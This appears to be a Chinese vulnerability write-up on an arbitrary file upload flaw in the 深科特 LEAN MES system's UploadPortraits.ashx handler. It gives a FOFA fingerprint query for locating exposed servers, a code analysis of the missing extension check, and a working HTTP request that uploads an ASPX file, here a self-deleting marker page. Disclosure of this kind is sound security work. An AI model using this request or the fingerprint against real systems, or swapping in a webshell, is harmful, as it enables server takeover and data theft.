深科特 LEAN MES系统 UploadPortraits.ashx 文件上传漏洞


漏洞简介

LEAN MES系统是由深圳市深科特信息技术有限公司开发的一款应用系统,主要用于生产调度、产品跟踪、质量控制等车间管理功能。LEAN MES精益制造执行系统通过强调制造过程的信息化和透明化,帮助企业由粗放式向精益化管理模式升级。该系统/Handler/UploadPortraits.ashx存在任意文件上传漏洞。攻击者可通过构造恶意请求,绕过文件类型或内容校验,上传恶意文件(如WebShell),实现任意命令执行,获取服务器控制权限,导致敏感数据泄露或系统被进一步攻击。

影响版本

fofa语法

(title="LEAN MES - 用户登录" && body="LEAN MES") || body="Content/js/skt.utility.checkmobile.js" || body="../MobileApp/VerifyError.aspx" || body="Content/login/login2/multiplant_top.png"

漏洞分析

根据 UploadPortraits.ashx 引用的代码逻辑,在bin目录找到SKT.LeanMES.Web.dll文件,在其中找到Handler.UploadPortraits的实现逻辑

代码中只有在对 UserId 的校验 (string.IsNullOrEmpty(str2) || int.Parse(str2) < 1),要求 UserId 必须是一个大于0的整数。

这个校验存在逻辑缺陷。它仅用于抛出异常,但无论校验是否通过,后面拼接文件名时使用的仍然是原始的、未经处理的字符串 str2。攻击者可以提供一个既能通过 int.Parse 校验又能作为有效文件名的 UserId,例如 UserId=2。

然后直接使用用户提供的 Filename 参数来获取文件扩展名,并且未对该扩展名进行任何白名单或黑名单校验,攻击者可以上传任意类型的文件(如 .aspx 脚本文件),从而导致远程代码执行。

漏洞复现

POST /Handler/UploadPortraits.ashx?Type=Upload&UserId=2&Filename=1.apsx HTTP/1.1
Host: lean.mes.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"

<%@Page Language="C#"%><%Response.Write(Guid.NewGuid().ToString("N"));System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath));%>
------WebKitFormBoundary--


手机扫码阅读

深科特 LEAN MES系统 /Handler/FileSync.ashx 任意文件读取/上传/删除/SSRF等多个漏洞

深科特 LEAN MES系统 EquipmentTree.ashx SQL注入漏洞

评 论